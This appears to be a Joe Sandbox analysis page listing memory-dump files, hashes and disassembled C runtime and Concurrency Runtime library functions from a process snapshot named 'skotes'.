Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$Affinity$Apply$Restrictions$InformationTopology$Restriction::$CleanupFindGroupLimits
String ID:
API String ID: 1321587334-0
Opcode ID: 9fae9857df5949f30b798cf7b56ec1967c5c00e1576d577b0c67b504894f8510
Instruction ID: 08b5dacc98e5d1155eb2a74fe4db57d7f43514f2825711bdaea787ec4e4c75ed
Opcode Fuzzy Hash: 9fae9857df5949f30b798cf7b56ec1967c5c00e1576d577b0c67b504894f8510
Instruction Fuzzy Hash: 2381AC31A0061ADFCF28DFA9D990FAEBBB1BB68300B66402DD445E7651DB30AD41CF94

Function 00AC69DA Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00AC6A1F
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00AC6A51
List.LIBCONCRT ref: 00AC6A8C
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00AC6A9D
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00AC6AB9
List.LIBCONCRT ref: 00AC6AF4
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00AC6B05
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00AC6B20
List.LIBCONCRT ref: 00AC6B5B
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00AC6B68

Part of subcall function 00AC5EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00AC5EF7
Part of subcall function 00AC5EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00AC5F09

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction ID: d19b8bbb233a6276b2bb854ff832ea6800b31495d2b7eefe889374739fb734d4
Opcode Fuzzy Hash: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction Fuzzy Hash: FC512C75A00209AFDB08DF64C595FEDB7B8BF08344F1640ADE915AB282DB30EE45CB90

Function 00AD52A5 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 00AD53A0
type_info::operator==.LIBVCRUNTIME ref: 00AD53C7
___TypeMatch.LIBVCRUNTIME ref: 00AD54D3
IsInExceptionSpec.LIBVCRUNTIME ref: 00AD55AE
CallUnexpected.LIBVCRUNTIME ref: 00AD5650

Strings

csm, xrefs: 00AD53FE
csm, xrefs: 00AD534D
csm, xrefs: 00AD52E0

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 4162181273-393685449
Opcode ID: 6ed53321f6b283fa3e8f289a9cf850b3d50c60b1adfd2a81dfa6e72080286f23
Instruction ID: 83cf2d4447a28b439ed6b539222192c1c10aa006bba287102f2fe422b6254595
Opcode Fuzzy Hash: 6ed53321f6b283fa3e8f289a9cf850b3d50c60b1adfd2a81dfa6e72080286f23
Instruction Fuzzy Hash: 52C17871C00A09EFCF2ADFA4D9809AEBBB5BF18311F14415BE816AB312D771DA51CB91

Function 00AC7364 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 00AC73B0
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 00AC73F2
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 00AC740E
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 00AC7419
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00AC7440

Strings

count, xrefs: 00AC737E
ppVirtualProcessorRoots, xrefs: 00AC7438

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 3897347962-3650809737
Opcode ID: 36ae2239ab5e0080ed67003ed494a34684ef953fee9baff0d54ecae72b139495
Instruction ID: ff7891ec5a0aa797f7f214088bc529bb96976eec45fb8def8524117e2b1aa706
Opcode Fuzzy Hash: 36ae2239ab5e0080ed67003ed494a34684ef953fee9baff0d54ecae72b139495
Instruction Fuzzy Hash: A3212F34A00249EFCB14EFA9CA95EADBBB9BF45350F15406DE905AB351DB30AE01DF90

Function 00AC78E1 Relevance: 12.1, APIs: 8, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00AC7903

Part of subcall function 00AC5CB8: __EH_prolog3_catch.LIBCMT ref: 00AC5CBF
Part of subcall function 00AC5CB8: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00AC5CF8

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00AC792A
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00AC7936

Part of subcall function 00AC5CB8: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 00AC5D70
Part of subcall function 00AC5CB8: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 00AC5D7E

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 00AC7982
Concurrency::location::_Assign.LIBCMT ref: 00AC79A3
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 00AC79AB
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00AC79BD
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 00AC79ED

Part of subcall function 00AC691D: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 00AC6942
Part of subcall function 00AC691D: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 00AC6965

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$ContextThrottling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_ExerciseFoundH_prolog3_catchNextProcessor::RingSchedulingSpinStartupTicket::TimerUntilWith
String ID:
API String ID: 1475861073-0
Opcode ID: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction ID: ee514bf9f7b88e8c76952b07d42088698219c6e260e965028af7e0724030d190
Opcode Fuzzy Hash: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction Fuzzy Hash: 6A314530B08251AECF96AB784892FFEBBB5AF41300F0641ADD496D7242DB345D4ACBD1

Function 00AD4840 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00AD4877
___except_validate_context_record.LIBVCRUNTIME ref: 00AD487F
_ValidateLocalCookies.LIBCMT ref: 00AD4908
__IsNonwritableInCurrentImage.LIBCMT ref: 00AD4933
_ValidateLocalCookies.LIBCMT ref: 00AD4988

Strings

csm, xrefs: 00AD491D

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
